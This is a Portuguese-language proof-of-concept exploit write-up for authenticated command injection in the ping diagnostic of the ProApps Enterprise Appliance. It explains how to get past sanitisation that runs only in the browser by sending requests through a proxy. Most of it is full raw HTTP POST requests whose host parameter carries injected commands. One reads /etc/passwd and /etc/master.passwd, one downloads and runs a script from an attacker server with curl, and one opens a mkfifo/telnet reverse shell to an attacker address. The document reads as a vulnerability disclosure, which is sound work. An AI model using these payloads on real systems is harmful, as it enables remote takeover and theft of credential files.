
Exploit de prova de conceito para execução remota de código autenticada via injeção de comando na funcionalidade ping do ProApps Enterprise Appliance, com payload de reverse shell e bypass da sanitização do lado do cliente.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
Execução Remota de Código
A vulnerabilidade ocorre porque um usuário pode injetar comandos do sistema através da aplicação utilizando a funcionalidade de ping, adicionando um operador de sequência de comandos em ambientes Unix, como (;, &&, ou |). Para explorar a vulnerabilidade é necessário estar autenticado. O usuário deve pertencer a um grupo de permissão chamado 'Status' e ter a permissão 'Modified'. Também é importante mencionar que a exploração bem-sucedida requer a bypass da sanitização de entrada. A aplicação valida a entrada do usuário apenas no front-end, sendo necessário enviar a requisição através de um proxy de rede, por exemplo. Dessa forma, as limitações impostas pela aplicação são contornadas.
Após a autenticação, será necessário acessar uma página chamada sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
Esta página fornece uma função para realizar uma requisição ICMP a um host arbitrário. Para saber mais sobre o utilitário ping e o protocolo ICMP (Solicitação e Resposta), consulte a RFC mencionada na seção de referências.
A aplicação envia uma requisição POST com os parâmetros host, testar_pacote e ttl, onde host é o alvo do ping, testar_pacote especifica o número de requisições ICMP a serem enviadas, e TTL é o Time to Live (TTL) dos pacotes. Ao enviar a requisição, a aplicação executa o seguinte comando no sistema Unix: ping -c $testar_pacote $host. Abaixo está a requisição POST demonstrando a funcionalidade:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
É aqui que um vetor de ataque é percebido. Um usuário pode explorar a vulnerabilidade enviando uma requisição POST maliciosa através de um proxy de rede para contornar a sanitização de entrada, anexando um dos operadores de sequência de comandos (;, &&, ou |) ao parâmetro host. A aplicação web executará o comando ping mencionado acima, seguido por um comando adicional. Por exemplo, isso pode incluir a leitura de arquivos sensíveis como /etc/passwd, /etc/master.passwd, ou obter um reverse shell, ou executar comandos arbitrários.
A requisição POST abaixo é um exemplo malicioso e criado:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
Requisição HTTP POST para sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Ao escutar na porta especificada com Netcat, um reverse shell é aberto com sucesso.
As vulnerabilidades RCE (Execução Remota de Código) permitem que um invasor execute código arbitrário em um dispositivo remoto, o que pode levar a um Comprometimento Total do Sistema, Violação de Dados, Movimentação Lateral, Implantação de Malware e Danos Reputacionais e Financeiros.